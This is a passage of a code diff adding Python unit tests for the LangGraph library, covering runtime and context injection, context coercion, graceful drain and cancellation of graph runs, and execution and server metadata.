None, + previous=None, + ) + } + }, + ) + + +async def test_runnable_callable_injectable_arguments_async() -> None: + """Test injectable arguments for async RunnableCallable. + + This test verifies that injectable arguments like BaseStore work correctly + in the async context. It tests: + - Optional store injection + - Required store injection + - Store injection via config + - Store injection override behavior + """ + + # Test Optional[BaseStore] annotation. + def func_optional_store(inputs: Any, store: Optional[BaseStore]) -> str: # noqa: UP045 + """Test function that accepts an optional store parameter.""" + assert store is None + return "success" + + async def afunc_optional_store(inputs: Any, store: BaseStore | None) -> str: + """Async version of func_optional_store.""" + assert store is None + return "success" + + assert ( + await RunnableCallable( + func=func_optional_store, afunc=afunc_optional_store + ).ainvoke({"x": "1"}) + == "success" + ) + + # Test BaseStore annotation + def func_required_store(inputs: Any, store: BaseStore) -> str: + """Test function that requires a store parameter.""" + assert store is None + return "success" + + async def afunc_required_store(inputs: Any, store: BaseStore) -> str: + """Async version of func_required_store.""" + assert store is None + return "success" + + with pytest.raises(ValueError): + # Should fail b/c store is not Optional and config is not populated with store. + assert ( + await RunnableCallable( + func=func_required_store, afunc=afunc_required_store + ).ainvoke( + {}, + ) + == "success" + ) + + # Manually provide store + assert ( + await RunnableCallable( + func=func_required_store, afunc=afunc_required_store + ).ainvoke( + {}, + store=None, + config={ + "configurable": { + "__pregel_runtime": Runtime( + store=None, + context=None, + stream_writer=lambda _: None, + previous=None, + ) + } + }, + ) + == "success" + ) + + # Specify a value for store in the config + assert ( + await RunnableCallable( + func=func_required_store, afunc=afunc_required_store + ).ainvoke( + {}, + config={ + "configurable": { + "__pregel_runtime": Runtime( + store=None, + context=None, + stream_writer=lambda _: None, + previous=None, + ) + } + }, + ) + == "success" + ) + + # Specify a value for store in config, but override with None + assert ( + await RunnableCallable( + func=func_optional_store, afunc=afunc_optional_store + ).ainvoke( + {"x": "1"}, + store=None, + config={ + "configurable": { + "__pregel_runtime": Runtime( + store="foobar", + context=None, + stream_writer=lambda _: None, + previous=None, + ) + } + }, + ) + == "success" + ) + + # Set of tests where we verify that 'foobar' is injected as the store value. + def func_required_store_v2(inputs: Any, store: BaseStore) -> str: + """Test function that requires a store parameter with specific value. + + The store parameter is expected to be 'foobar' when injected. + """ + assert store == "foobar" + return "success" + + async def afunc_required_store_v2(inputs: Any, store: BaseStore) -> str: + """Async version of func_required_store_v2. + + The store parameter is expected to be 'foobar' when injected. + """ + assert store == "foobar" + return "success" + + assert ( + await RunnableCallable( + func=func_required_store_v2, afunc=afunc_required_store_v2 + ).ainvoke( + {}, + config={ + "configurable": { + "__pregel_runtime": Runtime( + store="foobar", + context=None, + stream_writer=lambda _: None, + previous=None, + ) + } + }, + ) + == "success" + ) + + assert ( + await RunnableCallable( + func=func_required_store_v2, afunc=afunc_required_store_v2 + ).ainvoke( + # And manual override takes precedence. + {}, + store="foobar", + config={ + "configurable": { + "__pregel_runtime": Runtime( + store="foobar", + context=None, + stream_writer=lambda _: None, + previous=None, + ) + } + }, + ) + == "success" + ) + + +def test_config_injection() -> None: + def func(x: Any, config: RunnableConfig) -> list[str]: + return config.get("tags", []) + + assert RunnableCallable(func).invoke( + "test", config={"tags": ["test"], "configurable": {}} + ) == ["test"] + + def func_optional(x: Any, config: Optional[RunnableConfig]) -> list[str]: # noqa: UP045 + return config.get("tags", []) if config else [] + + assert RunnableCallable(func_optional).invoke( + "test", config={"tags": ["test"], "configurable": {}} + ) == ["test"] + + def func_untyped(x: Any, config) -> list[str]: + return config.get("tags", []) + + assert RunnableCallable(func_untyped).invoke( + "test", config={"tags": ["test"], "configurable": {}} + ) == ["test"] + + +def test_config_ensured() -> None: + def func(input: str, config: RunnableConfig) -> None: + assert input == "test" + assert config is not None + assert config.get("configurable") is not None + + RunnableCallable(func).invoke("test") + + +async def test_config_ensured_async() -> None: + async def func(input: str, config: RunnableConfig) -> None: + assert input == "test" + assert config is not None + assert config.get("configurable") is not None + + await RunnableCallable(func).ainvoke("test") diff --git a/libs/langgraph/tests/test_runtime.py b/libs/langgraph/tests/test_runtime.py new file mode 100644 index 0000000..f2f2fcc --- /dev/null +++ b/libs/langgraph/tests/test_runtime.py @@ -0,0 +1,1220 @@ +import asyncio +import threading +import time +from dataclasses import dataclass +from typing import Any + +import pytest +from langgraph.checkpoint.memory import MemorySaver +from pydantic import BaseModel, ValidationError +from typing_extensions import TypedDict + +from langgraph.errors import GraphDrained +from langgraph.graph import END, START, StateGraph +from langgraph.runtime import ( + ExecutionInfo, + RunControl, + Runtime, + ServerInfo, + get_runtime, +) + + +def test_injected_runtime() -> None: + @dataclass + class Context: + api_key: str + + class State(TypedDict): + message: str + + def injected_runtime(state: State, runtime: Runtime[Context]) -> dict[str, Any]: + return {"message": f"api key: {runtime.context.api_key}"} + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("injected_runtime", injected_runtime) + graph.add_edge(START, "injected_runtime") + graph.add_edge("injected_runtime", END) + compiled = graph.compile() + result = compiled.invoke( + {"message": "hello world"}, context=Context(api_key="sk_123456") + ) + assert result == {"message": "api key: sk_123456"} + + +def test_context_runtime() -> None: + @dataclass + class Context: + api_key: str + + class State(TypedDict): + message: str + + def context_runtime(state: State) -> dict[str, Any]: + runtime = get_runtime(Context) + return {"message": f"api key: {runtime.context.api_key}"} + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("context_runtime", context_runtime) + graph.add_edge(START, "context_runtime") + graph.add_edge("context_runtime", END) + compiled = graph.compile() + result = compiled.invoke( + {"message": "hello world"}, context=Context(api_key="sk_123456") + ) + assert result == {"message": "api key: sk_123456"} + + +def test_override_runtime() -> None: + @dataclass + class Context: + api_key: str + + prev = Runtime(context=Context(api_key="abc")) + new = prev.override(context=Context(api_key="def")) + assert new.override(context=Context(api_key="def")).context.api_key == "def" + + +def test_merge_runtime() -> None: + @dataclass + class Context: + api_key: str + + runtime1 = Runtime(context=Context(api_key="abc")) + runtime2 = Runtime(context=Context(api_key="def")) + runtime3 = Runtime(context=None) + + assert runtime1.merge(runtime2).context.api_key == "def" + # override only applies to non-falsy values + assert runtime1.merge(runtime3).context.api_key == "abc" # type: ignore + + +def test_merge_runtime_preserves_run_control() -> None: + control = RunControl() + runtime1 = Runtime(control=control) + runtime2 = Runtime(context=None) + + assert runtime1.merge(runtime2).control is control + + +def test_run_control_request_drain_stops_future_steps() -> None: + class State(TypedDict, total=False): + first: str + second: str + + control = RunControl() + + def first_node(state: State) -> dict[str, str]: + control.request_drain() + return {"first": "done"} + + def second_node(state: State) -> dict[str, str]: + return {"second": "should-not-run"} + + graph = StateGraph(State) + graph.add_node("first", first_node) + graph.add_node("second", second_node) + graph.add_edge(START, "first") + graph.add_edge("first", "second") + graph.add_edge("second", END) + + with pytest.raises(GraphDrained, match="shutdown"): + graph.compile().invoke({}, control=control) + + +@pytest.mark.anyio +async def test_run_control_request_drain_stops_future_steps_async() -> None: + class State(TypedDict, total=False): + first: str + second: str + + control = RunControl() + + async def first_node(state: State) -> dict[str, str]: + control.request_drain() + return {"first": "done"} + + async def second_node(state: State) -> dict[str, str]: + return {"second": "should-not-run"} + + graph = StateGraph(State) + graph.add_node("first", first_node) + graph.add_node("second", second_node) + graph.add_edge(START, "first") + graph.add_edge("first", "second") + graph.add_edge("second", END) + + with pytest.raises(GraphDrained, match="shutdown"): + await graph.compile().ainvoke({}, control=control) + + +def test_drain_requested_in_terminal_step_finishes_normally() -> None: + class State(TypedDict, total=False): + value: str + + control = RunControl() + + def node(state: State) -> dict[str, str]: + control.request_drain() + return {"value": "done"} + + graph = StateGraph(State) + graph.add_node("node", node) + graph.add_edge(START, "node") + graph.add_edge("node", END) + + assert graph.compile().invoke({}, control=control) == {"value": "done"} + assert control.drain_requested + + +def test_drain_with_exit_durability_persists_resume_checkpoint() -> None: + class State(TypedDict, total=False): + first: str + second: str + + control = RunControl() + + def first_node(state: State) -> dict[str, str]: + control.request_drain("sigterm") + return {"first": "done"} + + def second_node(state: State) -> dict[str, str]: + return {"second": "done"} + + graph = StateGraph(State) + graph.add_node("first", first_node) + graph.add_node("second", second_node) + graph.add_edge(START, "first") + graph.add_edge("first", "second") + graph.add_edge("second", END) + + compiled = graph.compile(checkpointer=MemorySaver()) + config = {"configurable": {"thread_id": "drain-exit"}} + + with pytest.raises(GraphDrained, match="sigterm"): + compiled.invoke({}, config, durability="exit", control=control) + + assert compiled.invoke(None, config, durability="exit") == { + "first": "done", + "second": "done", + } + + +def test_drain_from_subgraph_can_resume_parent() -> None: + class State(TypedDict, total=False): + child_first: str + child_second: str + parent_second: str + + control = RunControl() + + def child_first(state: State) -> dict[str, str]: + control.request_drain("sigterm") + return {"child_first": "done"} + + def child_second(state: State) -> dict[str, str]: + return {"child_second": "done"} + + child_builder = StateGraph(State) + child_builder.add_node("child_first", child_first) + child_builder.add_node("child_second", child_second) + child_builder.add_edge(START, "child_first") + child_builder.add_edge("child_first", "child_second") + child_builder.add_edge("child_second", END) + child_graph = child_builder.compile(checkpointer=True) + + def parent_second(state: State) -> dict[str, str]: + return {"parent_second": "done"} + + parent_builder = StateGraph(State) + parent_builder.add_node("child", child_graph) + parent_builder.add_node("parent_second", parent_second) + parent_builder.add_edge(START, "child") + parent_builder.add_edge("child", "parent_second") + parent_builder.add_edge("parent_second", END) + + compiled = parent_builder.compile(checkpointer=MemorySaver()) + config = {"configurable": {"thread_id": "drain-subgraph"}} + + with pytest.raises(GraphDrained, match="sigterm"): + compiled.invoke({}, config, control=control) + + assert compiled.invoke(None, config) == { + "child_first": "done", + "child_second": "done", + "parent_second": "done", + } + + +@pytest.mark.anyio +async def test_drain_requested_in_terminal_step_finishes_normally_async() -> None: + class State(TypedDict, total=False): + value: str + + control = RunControl() + + async def node(state: State) -> dict[str, str]: + control.request_drain() + return {"value": "done"} + + graph = StateGraph(State) + graph.add_node("node", node) + graph.add_edge(START, "node") + graph.add_edge("node", END) + + assert await graph.compile().ainvoke({}, control=control) == {"value": "done"} + assert control.drain_requested + + +def test_runtime_propogated_to_subgraph() -> None: + @dataclass + class Context: + username: str + + class State(TypedDict, total=False): + subgraph: str + main: str + + def subgraph_node_1(state: State, runtime: Runtime[Context]): + return {"subgraph": f"{runtime.context.username}!"} + + subgraph_builder = StateGraph(State, context_schema=Context) + subgraph_builder.add_node(subgraph_node_1) + subgraph_builder.set_entry_point("subgraph_node_1") + subgraph = subgraph_builder.compile() + + def main_node(state: State, runtime: Runtime[Context]): + return {"main": f"{runtime.context.username}!"} + + builder = StateGraph(State, context_schema=Context) + builder.add_node(main_node) + builder.add_node("node_1", subgraph) + builder.set_entry_point("main_node") + builder.add_edge("main_node", "node_1") + graph = builder.compile() + + context = Context(username="Alice") + result = graph.invoke({}, context=context) + assert result == {"subgraph": "Alice!", "main": "Alice!"} + + +def test_context_coercion_dataclass() -> None: + """Test that dict context is coerced to dataclass.""" + + @dataclass + class Context: + api_key: str + timeout: int = 30 + + class State(TypedDict): + message: str + + def node_with_context(state: State, runtime: Runtime[Context]) -> dict[str, Any]: + return { + "message": f"api_key: {runtime.context.api_key}, timeout: {runtime.context.timeout}" + } + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("node", node_with_context) + graph.add_edge(START, "node") + graph.add_edge("node", END) + compiled = graph.compile() + + # Test dict coercion with all fields + result = compiled.invoke( + {"message": "test"}, context={"api_key": "sk_test", "timeout": 60} + ) + assert result == {"message": "api_key: sk_test, timeout: 60"} + + # Test dict coercion with default field + result = compiled.invoke({"message": "test"}, context={"api_key": "sk_test2"}) + assert result == {"message": "api_key: sk_test2, timeout: 30"} + + # Test with actual dataclass instance (should still work) + result = compiled.invoke( + {"message": "test"}, context=Context(api_key="sk_test3", timeout=90) + ) + assert result == {"message": "api_key: sk_test3, timeout: 90"} + + +def test_context_coercion_pydantic() -> None: + """Test that dict context is coerced to Pydantic model.""" + + class Context(BaseModel): + api_key: str + timeout: int = 30 + tags: list[str] = [] + + class State(TypedDict): + message: str + + def node_with_context(state: State, runtime: Runtime[Context]) -> dict[str, Any]: + return { + "message": f"api_key: {runtime.context.api_key}, timeout: {runtime.context.timeout}, tags: {runtime.context.tags}" + } + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("node", node_with_context) + graph.add_edge(START, "node") + graph.add_edge("node", END) + compiled = graph.compile() + + # Test dict coercion with all fields + result = compiled.invoke( + {"message": "test"}, + context={"api_key": "sk_test", "timeout": 60, "tags": ["prod", "v2"]}, + ) + assert result == {"message": "api_key: sk_test, timeout: 60, tags: ['prod', 'v2']"} + + # Test dict coercion with defaults + result = compiled.invoke({"message": "test"}, context={"api_key": "sk_test2"}) + assert result == {"message": "api_key: sk_test2, timeout: 30, tags: []"} + + # Test with actual Pydantic instance (should still work) + result = compiled.invoke( + {"message": "test"}, + context=Context(api_key="sk_test3", timeout=90, tags=["test"]), + ) + assert result == {"message": "api_key: sk_test3, timeout: 90, tags: ['test']"} + + +def test_context_coercion_typeddict() -> None: + """Test that dict context with TypedDict schema passes through as-is.""" + + class Context(TypedDict): + api_key: str + timeout: int + + class State(TypedDict): + message: str + + def node_with_context(state: State, runtime: Runtime[Context]) -> dict[str, Any]: + # TypedDict context is just a dict at runtime + return { + "message": f"api_key: {runtime.context['api_key']}, timeout: {runtime.context['timeout']}" + } + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("node", node_with_context) + graph.add_edge(START, "node") + graph.add_edge("node", END) + compiled = graph.compile() + + # Test dict passes through for TypedDict + result = compiled.invoke( + {"message": "test"}, context={"api_key": "sk_test", "timeout": 60} + ) + assert result == {"message": "api_key: sk_test, timeout: 60"} + + +def test_context_coercion_none() -> None: + """Test that None context is handled properly.""" + + @dataclass + class Context: + api_key: str + + class State(TypedDict): + message: str + + def node_without_context(state: State, runtime: Runtime[Context]) -> dict[str, Any]: + # Should be None when no context provided + return {"message": f"context is None: {runtime.context is None}"} + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("node", node_without_context) + graph.add_edge(START, "node") + graph.add_edge("node", END) + compiled = graph.compile() + + # Test with None context + result = compiled.invoke({"message": "test"}, context=None) + assert result == {"message": "context is None: True"} + + # Test without context parameter (defaults to None) + result = compiled.invoke({"message": "test"}) + assert result == {"message": "context is None: True"} + + +def test_context_coercion_errors() -> None: + """Test error handling for invalid context.""" + + @dataclass + class Context: + api_key: str # Required field + + class State(TypedDict): + message: str + + def node_with_context(state: State, runtime: Runtime[Context]) -> dict[str, Any]: + return {"message": "should not reach here"} + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("node", node_with_context) + graph.add_edge(START, "node") + graph.add_edge("node", END) + compiled = graph.compile() + + # Test missing required field + with pytest.raises(TypeError): + compiled.invoke({"message": "test"}, context={"timeout": 60}) + + # Test invalid dict keys + with pytest.raises(TypeError): + compiled.invoke( + {"message": "test"}, context={"api_key": "test", "invalid_field": "value"} + ) + + +@pytest.mark.anyio +async def test_context_coercion_async() -> None: + """Test context coercion with async methods.""" + + @dataclass + class Context: + api_key: str + async_mode: bool = True + + class State(TypedDict): + message: str + + async def async_node(state: State, runtime: Runtime[Context]) -> dict[str, Any]: + return { + "message": f"async api_key: {runtime.context.api_key}, async_mode: {runtime.context.async_mode}" + } + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("node", async_node) + graph.add_edge(START, "node") + graph.add_edge("node", END) + compiled = graph.compile() + + # Test dict coercion with ainvoke + result = await compiled.ainvoke( + {"message": "test"}, context={"api_key": "sk_async", "async_mode": False} + ) + assert result == {"message": "async api_key: sk_async, async_mode: False"} + + # Test dict coercion with astream + chunks = [] + async for chunk in compiled.astream( + {"message": "test"}, context={"api_key": "sk_stream"} + ): + chunks.append(chunk) + + # Find the chunk with our node output + node_output = None + for chunk in chunks: + if "node" in chunk: + node_output = chunk["node"] + break + + assert node_output == {"message": "async api_key: sk_stream, async_mode: True"} + + +def test_context_coercion_stream() -> None: + """Test context coercion with sync stream method.""" + + @dataclass + class Context: + api_key: str + stream_mode: str = "default" + + class State(TypedDict): + message: str + + def node_with_context(state: State, runtime: Runtime[Context]) -> dict[str, Any]: + return { + "message": f"stream api_key: {runtime.context.api_key}, mode: {runtime.context.stream_mode}" + } + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("node", node_with_context) + graph.add_edge(START, "node") + graph.add_edge("node", END) + compiled = graph.compile() + + # Test dict coercion with stream + chunks = [] + for chunk in compiled.stream( + {"message": "test"}, context={"api_key": "sk_stream", "stream_mode": "fast"} + ): + chunks.append(chunk) + + # Find the chunk with our node output + node_output = None + for chunk in chunks: + if "node" in chunk: + node_output = chunk["node"] + break + + assert node_output == {"message": "stream api_key: sk_stream, mode: fast"} + + +def test_context_coercion_pydantic_validation_errors() -> None: + """Test that Pydantic validation errors are raised.""" + + class Context(BaseModel): + api_key: str + timeout: int + + class State(TypedDict): + message: str + + def node_with_context(state: State, runtime: Runtime[Context]) -> dict[str, Any]: + return { + "message": f"api_key: {runtime.context.api_key}, timeout: {runtime.context.timeout}" + } + + graph = StateGraph(state_schema=State, context_schema=Context) + graph.add_node("node", node_with_context) + graph.add_edge(START, "node") + graph.add_edge("node", END) + + compiled = graph.compile() + + with pytest.raises(ValidationError): + compiled.invoke( + {"message": "test"}, context={"api_key": "sk_test", "timeout": "not_an_int"} + ) + + +def test_external_drain_concurrent_sync() -> None: + """External thread calls request_drain() while graph is mid-execution.""" + + class State(TypedDict, total=False): + first: str + second: str + + started = threading.Event() + + def first_node(state: State) -> dict[str, str]: + started.set() + time.sleep(0.05) + return {"first": "done"} + + def second_node(state: State) -> dict[str, str]: + return {"second": "should-not-run"} + + graph = StateGraph(State) + graph.add_node("first", first_node) + graph.add_node("second", second_node) + graph.add_edge(START, "first") + graph.add_edge("first", "second") + graph.add_edge("second", END) + + control = RunControl() + compiled = graph.compile() + + exc_holder: list[BaseException | None] = [None] + + def run_graph() -> None: + try: + compiled.invoke({}, control=control) + except GraphDrained as e: + exc_holder[0] = e + + t = threading.Thread(target=run_graph) + t.start() + + started.wait(timeout=5) + control.request_drain("sigterm") + + t.join(timeout=10) + + exc = exc_holder[0] + assert isinstance(exc, GraphDrained) + assert exc.reason == "sigterm" + + +@pytest.mark.anyio +async def test_external_drain_concurrent_async() -> None: + """External task calls request_drain() while graph is mid-execution.""" + + class State(TypedDict, total=False): + first: str + second: str + + started = asyncio.Event() + + async def first_node(state: State) -> dict[str, str]: + started.set() + await asyncio.sleep(0.05) + return {"first": "done"} + + async def second_node(state: State) -> dict[str, str]: + return {"second": "should-not-run"} + + graph = StateGraph(State) + graph.add_node("first", first_node) + graph.add_node("second", second_node) + graph.add_edge(START, "first") + graph.add_edge("first", "second") + graph.add_edge("second", END) + + control = RunControl() + compiled = graph.compile() + + async def drain_after_start() -> None: + await started.wait() + control.request_drain("sigterm") + + drain_task = asyncio.create_task(drain_after_start()) + + with pytest.raises(GraphDrained, match="sigterm"): + await compiled.ainvoke({}, control=control) + + await drain_task + + +@pytest.mark.anyio +async def test_drain_then_cancel_after_graceful_timeout() -> None: + """Simulate: drain requested -> node still running -> graceful timeout -> cancel. + + This shows what happens when a long-running node doesn't finish within + the graceful period after drain is requested. + """ + + class State(TypedDict, total=False): + first: str + second: str + + node_started = asyncio.Event() + node_cancelled = asyncio.Event() + node_finished = asyncio.Event() + + async def slow_node(state: State) -> dict[str, str]: + node_started.set() + try: + await asyncio.sleep(30) # very long operation + except asyncio.CancelledError: + node_cancelled.set() + raise + node_finished.set() + return {"first": "done"} + + async def second_node(state: State) -> dict[str, str]: + return {"second": "should-not-run"} + + graph = StateGraph(State) + graph.add_node("first", slow_node) + graph.add_node("second", second_node) + graph.add_edge(START, "first") + graph.add_edge("first", "second") + graph.add_edge("second", END) + + control = RunControl() + compiled = graph.compile() + + # Phase 1: start graph + graph_task = asyncio.create_task(compiled.ainvoke({}, control=control)) + + # Phase 2: wait for node to start, then request drain + await node_started.wait() + control.request_drain("sigterm") + + # Phase 3: graceful timeout — node is still running, cancel after 1s + graceful_timeout = 1.0 + await asyncio.sleep(graceful_timeout) + + assert not node_finished.is_set(), "node should still be running" + assert not node_cancelled.is_set(), "node should not be cancelled yet" + + # Phase 4: force cancel + graph_task.cancel() + + with pytest.raises(asyncio.CancelledError): + await graph_task + + # The node received CancelledError at the await point + assert node_cancelled.is_set(), "node should have received CancelledError" + assert not node_finished.is_set(), "node should NOT have finished normally" + + +@pytest.mark.anyio +async def test_cancel_ainvoke_with_async_node() -> None: + """Cancel ainvoke running an async node: CancelledError is delivered + at the await point and the node stops immediately.""" + + class State(TypedDict, total=False): + first: str + second: str + + timeline: list[str] = [] + node_started = asyncio.Event() + + async def slow_async_node(state: State) -> dict[str, str]: + timeline.append(f"async_node:start thread={threading.current_thread().name}") + node_started.set() + try: + await asyncio.sleep(30) + except asyncio.CancelledError: + timeline.append("async_node:cancelled") + raise + timeline.append("async_node:finished") + return {"first": "done"} + + async def second_node(state: State) -> dict[str, str]: + timeline.append("second_node:run") + return {"second": "should-not-run"} + + graph = StateGraph(State) + graph.add_node("first", slow_async_node) + graph.add_node("second", second_node) + graph.add_edge(START, "first") + graph.add_edge("first", "second") + graph.add_edge("second", END) + + compiled = graph.compile() + graph_task = asyncio.create_task(compiled.ainvoke({})) + + await node_started.wait() + timeline.append("test:cancel") + graph_task.cancel() + + with pytest.raises(asyncio.CancelledError): + await graph_task + timeline.append("test:done") + + # async node runs on the event loop thread (MainThread) + assert any("MainThread" in e for e in timeline if "async_node:start" in e) + # CancelledError was delivered at the await point — node stopped + assert "async_node:cancelled" in timeline + # Node did NOT run to completion + assert "async_node:finished" not in timeline + # Second node never ran + assert "second_node:run" not in timeline + + +@pytest.mark.anyio +async def test_cancel_ainvoke_with_sync_node() -> None: + """Cancel ainvoke running a sync node. + + Sync nodes in ainvoke run on a separate thread (via run_in_executor), + NOT on the event loop thread. Cancelling the asyncio task disconnects + from the thread future, but the thread keeps running as an orphan and + completes on its own. + + Key difference from async nodes: + - async node: CancelledError stops the coroutine at an await point + - sync node: cancel only disconnects asyncio; the thread runs to completion + + In shutdown case, we will ignore this because the instance will be destroyed soon. + """ + + class State(TypedDict, total=False): + first: str + second: str + + timeline: list[str] = [] + node_started = threading.Event() + node_finished = threading.Event() + + def slow_sync_node(state: State) -> dict[str, str]: + timeline.append(f"sync_node:start thread={threading.current_thread().name}") + node_started.set() + time.sleep(1) + timeline.append("sync_node:after_sleep") + node_finished.set() + return {"first": "done"} + + def second_node(state: State) -> dict[str, str]: + timeline.append("second_node:run") + return {"second": "should-not-run"} + + graph = StateGraph(State) + graph.add_node("first", slow_sync_node) + graph.add_node("second", second_node) + graph.add_edge(START, "first") + graph.add_edge("first", "second") + graph.add_edge("second", END) + + control = RunControl() + compiled = graph.compile() + + timeline.append(f"test:main thread={threading.current_thread().name}") + graph_task = asyncio.create_task(compiled.ainvoke({}, control=control)) + + loop = asyncio.get_event_loop() + await loop.run_in_executor(None, node_started.wait, 5) + + timeline.append("test:cancel+drain") + graph_task.cancel() + control.request_drain("sigterm") + + with pytest.raises(asyncio.CancelledError): + await graph_task + timeline.append("test:exc=CancelledError") + + # Sync node runs on a background thread (asyncio_*), NOT MainThread + sync_start = next(e for e in timeline if "sync_node:start" in e) + assert "MainThread" not in sync_start, ( + "sync node should run on a background thread, not the event loop thread" + ) + + # At this point, the asyncio task is done but the thread is orphaned. + # The sync node has NOT finished yet — cancel only disconnected asyncio. + assert not node_finished.is_set(), ( + "sync node should still be running in its background thread" + ) + + # Wait for the orphaned thread to complete on its own. + await loop.run_in_executor(None, node_finished.wait, 5) + assert node_finished.is_set() + + # After the orphaned thread finishes, the full timeline looks like: + # test:main thread=MainThread + # sync_node:start thread=asyncio_N <- background thread + # test:cancel+drain <- cancel + drain fired + # test:exc=CancelledError <- asyncio disconnected + # sync_node:after_sleep <- thread ran to completion anyway + assert "sync_node:after_sleep" in timeline + # Second node never ran + assert "second_node:run" not in timeline + + # Verify timeline ordering: cancel happened before node finished + cancel_idx = timeline.index("test:cancel+drain") + sleep_idx = timeline.index("sync_node:after_sleep") + assert cancel_idx < sleep_idx, ( + "cancel was issued while the sync node was still sleeping" + ) + + +def test_drain_with_control_parameter_sync() -> None: + """Control parameter is wired through invoke -> stream.""" + + class State(TypedDict, total=False): + value: str + + ran = False + + def node(state: State) -> dict[str, str]: + nonlocal ran + ran = True + return {"value": "done"} + + graph = StateGraph(State) + graph.add_node("node", node) + graph.add_edge(START, "node") + graph.add_edge("node", END) + + # Pre-drained control stops before executing the first pending task. + control = RunControl() + control.request_drain("pre-drained") + + with pytest.raises(GraphDrained, match="pre-drained"): + graph.compile().invoke({}, control=control) + assert not ran + + +# --- ExecutionInfo unit tests --- + + +def test_execution_info_defaults_and_patch() -> None: + info = ExecutionInfo(checkpoint_id="c1", checkpoint_ns="ns1", task_id="t1") + assert info.checkpoint_id == "c1" + assert info.checkpoint_ns == "ns1" + assert info.task_id == "t1" + assert info.thread_id is None + assert info.run_id is None + assert info.node_attempt == 1 + assert info.node_first_attempt_time is None + + # patch returns new instance, original unchanged + patched = info.patch(thread_id="th1", node_attempt=3, task_id="tk1") + assert patched.thread_id == "th1" + assert patched.node_attempt == 3 + assert patched.task_id == "tk1" + assert info.node_attempt == 1 + assert info.task_id == "t1" + + # frozen + with pytest.raises(AttributeError): + info.thread_id = "t2" # type: ignore[misc] + + +# --- ServerInfo / Runtime unit tests --- + + +def test_server_info_and_runtime_merge() -> None: + si = ServerInfo(assistant_id="asst-1", graph_id="graph-1") + assert si.assistant_id == "asst-1" + assert si.user is None + + # frozen + with pytest.raises(AttributeError): + si.assistant_id = "asst-2" # type: ignore[misc] + + # runtime default is None + assert Runtime().server_info is None + + # merge preserves server_info from self when other has None + r1 = Runtime(server_info=si) + merged = r1.merge(Runtime()) + assert merged.server_info is si + + # merge takes server_info from other when present + si2 = ServerInfo(assistant_id="asst-2", graph_id="graph-2") + merged2 = r1.merge(Runtime(server_info=si2)) + assert merged2.server_info is si2 + + +# --- Integration tests --- + + +def _make_capture_graph( + capture: dict[str, Any], + *, + checkpointer: Any = None, +) -> Any: + """Helper: build a simple graph that captures runtime info.""" + + class State(TypedDict): + message: str + + def capture_node(state: State, runtime: Runtime) -> dict[str, Any]: + capture["execution_info"] = runtime.execution_info + capture["server_info"] = runtime.server_info + return {"message": "done"} + + graph = StateGraph(state_schema=State) + graph.add_node("capture", capture_node) + graph.add_edge(START, "capture") + graph.add_edge("capture", END) + return graph.compile(checkpointer=checkpointer) + + +def test_execution_info_populated_in_graph() -> None: + """execution_info fields are populated when running with a checkpointer.""" + captured: dict[str, Any] = {} + compiled = _make_capture_graph(captured, checkpointer=MemorySaver()) + compiled.invoke( + {"message": "hi"}, + config={"configurable": {"thread_id": "t-123"}}, + ) + info = captured["execution_info"] + assert info.thread_id == "t-123" + assert info.task_id is not None + assert info.checkpoint_id is not None + assert info.checkpoint_ns is not None + assert info.node_attempt == 1 + assert isinstance(info.node_first_attempt_time, float) + + +@pytest.mark.anyio +async def test_execution_info_populated_in_graph_async() -> None: + """execution_info fields are populated in async execution.""" + captured: dict[str, Any] = {} + compiled = _make_capture_graph(captured, checkpointer=MemorySaver()) + await compiled.ainvoke( + {"message": "hi"}, + config={"configurable": {"thread_id": "t-xyz"}}, + ) + info = captured["execution_info"] + assert info.thread_id == "t-xyz" + assert info.node_attempt == 1 + assert isinstance(info.node_first_attempt_time, float) + + +def test_server_info_from_configurable() -> None: + """server_info is built from assistant_id/graph_id in config configurable.""" + captured: dict[str, Any] = {} + compiled = _make_capture_graph(captured) + compiled.invoke( + {"message": "hi"}, + config={"configurable": {"assistant_id": "asst-abc", "graph_id": "my-graph"}}, + ) + si = captured["server_info"] + assert si is not None + assert si.assistant_id == "asst-abc" + assert si.graph_id == "my-graph" + assert si.user is None + + +def test_server_info_none_without_configurable() -> None: + """server_info is None when no assistant_id/graph_id in configurable.""" + captured: dict[str, Any] = {} + compiled = _make_capture_graph(captured) + compiled.invoke({"message": "hi"}) + assert captured["server_info"] is None + + +def test_server_info_user_from_auth_user() -> None: + """server_info.user is populated from configurable['langgraph_auth_user']. + + Tests both a proper BaseUser protocol object and a starlette-style proxy + that provides `permissions` via __getattr__ (which the Protocol isinstance + check may not see). + """ + + class _ProxyUser: + """Mimics langgraph_api's ProxyUser: identity/display_name as properties, + permissions via __getattr__.""" + + def __init__(self, data: dict[str, Any]) -> None: + self._data = data + + @property + def identity(self) -> str: + return self._data["identity"] + + @property + def display_name(self) -> str: + return self._data.get("display_name", self.identity) + + @property + def is_authenticated(self) -> bool: + return True + + def __getattr__(self, name: str) -> Any: + return self._data[name] + + def __getitem__(self, key: str) -> Any: + return self._data[key] + + def __contains__(self, key: str) -> bool: + return key in self._data + + def __iter__(self) -> Any: + return iter(self._data) + + proxy = _ProxyUser( + { + "identity": "proxy-user", + "display_name": "Proxy User", + "is_authenticated": True, + "permissions": ["read"], + } + ) + assert not isinstance(proxy, dict) + assert hasattr(proxy, "identity") + + captured: dict[str, Any] = {} + compiled = _make_capture_graph(captured) + compiled.invoke( + {"message": "hi"}, + config={ + "configurable": { + "langgraph_auth_user": proxy, + "assistant_id": "asst-proxy", + "graph_id": "graph-proxy", + }, + }, + ) + si = captured["server_info"] + assert si is not None + assert si.assistant_id == "asst-proxy" + assert si.user is not None + assert si.user.identity == "proxy-user" + assert si.user["display_name"] == "Proxy User" + + +def test_execution_info_inherited_by_subgraph() -> None: + """execution_info is correctly populated for subgraph nodes, including namespace.""" + captured_main: dict[str, Any] = {} + captured_sub: dict[str, Any] = {} + + class State(TypedDict, total=False): + message: str + + def subgraph_node(state: State, runtime: Runtime) -> dict[str, str]: + captured_sub["execution_info"] = runtime.execution_info + return {"message": "from_sub"} + + subgraph_builder = StateGraph(State) + 